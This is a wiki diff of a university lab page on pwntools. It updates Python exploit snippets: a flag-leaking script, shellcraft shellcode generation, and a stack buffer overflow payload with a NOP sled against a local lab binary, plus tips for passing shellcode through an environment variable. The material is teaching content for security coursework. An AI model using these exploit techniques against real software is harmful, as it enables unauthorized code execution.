Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-05 [2020/11/08 20:34]
dennis.plosceanu [Local and remote I/O]
cns:labs:lab-05 [2022/11/07 14:44] (current)
mihai.dumitru2201 [Tasks]
Line 79: Line 79:
 result = io.recvline() result = io.recvline()
  
-print "Got: " + result+print(b"Got: " + result)
  
 io.interactive() io.interactive()
Line 115: Line 115:
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0]+    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0]
     return leaked_char     return leaked_char
  
Line 123: Line 123:
  
 for i in range(-10,​0):​ for i in range(-10,​0):​
-    flag += leak_char(i)+    flag += leak_char(i).decode("​utf-8"​)
  
-print "The flag is: " + flag+print("The flag is: " + flag)
 io.close() io.close()
 </​code>​ </​code>​
Line 153: Line 153:
     # Here you go\n     # Here you go\n
     result = io.recvline()     result = io.recvline()
-    log.info("​Got back raw response: " ​result)+    log.info("​Got back raw response: ​{}".format(result))
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0] +    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0] 
-    log.info("​Parsed char: " ​leaked_char)+    log.info("​Parsed char: {}".format(leaked_char))
     return leaked_char     return leaked_char
 </​code>​ </​code>​
Line 239: Line 239:
     f.write(e.get_data())     f.write(e.get_data())
 </​code>​ </​code>​
 +
 +<note tip>
 +This will result in a binary named ''​test_shell''​ which executes the necessary assembly code to spawn a shell.
 +
 +<​code>​
 +$ chmod u+x test_shell
 +$ ./​test_shell
 +</​code>​
 +
 +</​note>​
  
 ==== Shellcode generation ==== ==== Shellcode generation ====
Line 245: Line 255:
  
 <code asm> <code asm>
-print shellcraft.read(0,​ 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes+print(shellcraft.read(0,​ 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     push (SYS_read) /* 3 */     push (SYS_read) /* 3 */
Line 260: Line 270:
  
 <code asm> <code asm>
-print shellcraft.arm.read(0,​ 0xffffeeb0, 20)+print(shellcraft.arm.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 4294962864, 20) */     /* call read(0, 4294962864, 20) */
     eor  r0, r0 /* 0 (#0) */     eor  r0, r0 /* 0 (#0) */
Line 269: Line 279:
     svc  0     svc  0
  
-print shellcraft.mips.read(0,​ 0xffffeeb0, 20)+print(shellcraft.mips.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     slti $a0, $zero, 0xFFFF /* $a0 = 0 */     slti $a0, $zero, 0xFFFF /* $a0 = 0 */
Line 281: Line 291:
  
 These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions. These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions.
 +
 +<code asm>
 +  shellcode = asm('''​
 +       mov rdi, 0
 +       mov rax, 60
 +       ​syscall
 +''',​ arch = '​amd64'​)
 + </​code>​
 +
 +<note tip>Most of the time you'll be working with as specific vulnerable program. To avoid specifing architecture for the ''​asm''​ function or to ''​shellcraft''​ you can define the context at the start of the script which will imply the architecture from the binary header.
 +
 +<code python>
 +context.binary = '​./​vuln_program'​
 +  ​
 +shellcode = asm('''​
 +       mov rdi, 0
 +       mov rax, 60
 +       ​syscall
 +'''​)
 +print(shellcraft.sh())
 + </​code>​
 +
 +</​note>​
  
 ==== GDB integration ==== ==== GDB integration ====
Line 286: Line 319:
 Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful. Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful.
  
-Let's follow an example using the vulnerable binary from [[:cns:​labs:​lab-06#​phase_1recon|lab 06]]:+Let's follow an example using the vulnerable binary from the [[cns:​labs:​lab-04|]] tutorial.
  
 <code python> <code python>
Line 292: Line 325:
 from pwn import * from pwn import *
  
-ret_offset = 68 +ret_offset = 72 
-buf_addr = 0xffffcee8+buf_addr = 0x7fffffffd710
 ret_address = buf_addr+ret_offset+16 ret_address = buf_addr+ret_offset+16
-payload = ''​ 
  
-p = process('vuln')+# This sets several relevant things in the context (such as endianess,​ 
 +# architecture etc.), based on the given binary'​s properties. 
 +# We could also set them manually: 
 +# context.arch = "​amd64"​ 
 +context.binary = "​vuln"​ 
 +p = process("vuln")
  
 +
 +payload = b""​
 # Garbage # Garbage
-payload += ret_offset * 'A'+payload += ret_offset * b"A"
  
 # Overwrite ret_address,​ taking endianness into account # Overwrite ret_address,​ taking endianness into account
-payload += p32(ret_address)+payload += pack(ret_address)
  
 # Add nopsled # Add nopsled
-nops = '​\x90'​*100+nops = asm("​nop"​)*100
  
-# Alternative:​ asm('​nop'​),​ but the above is simpler and faster 
 payload += nops payload += nops
  
Line 360: Line 398:
  
 All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​ All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
- 
  
 ==== 1. Passing shellcode through the environment ​ ==== ==== 1. Passing shellcode through the environment ​ ====
Line 380: Line 417:
 Env var addr 0xfffdd1e7 Env var addr 0xfffdd1e7
 </​code>​ </​code>​
 +
 +<note tip>You can also use pwntools to pass the env var:
 +<code python>
 +from pwn import *
 +p = process(['​./​getenv',​ '​A'​],​ env={'​A':​ shellcode})
 +print(p.recvline())
 +</​code>​
 +
 +This way you can do the whole exploit with a python script:
 +  - run ''​getenv''​ to leak the address
 +  - parse the output of ''​getenv'' ​
 +  - build the payload and send to ''​vuln''​
 +</​note>​
  
 This is the address at which you will return to. This is the address at which you will return to.
Line 412: Line 462:
   * In order to get ''/​bin/​sh''​ onto the stack, your shellcode could look something like this: \\ <code asm>   * In order to get ''/​bin/​sh''​ onto the stack, your shellcode could look something like this: \\ <code asm>
 jmp <​offset>​ ; determine through trial and error jmp <​offset>​ ; determine through trial and error
-'/​bin/​sh'\0+'/​bin/​sh\0'
 ; code continues here ; code continues here
 </​code>​ \\ This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions! </​code>​ \\ This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions!
cns/labs/lab-05.1604860471.txt.gz · Last modified: 2020/11/08 20:34 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0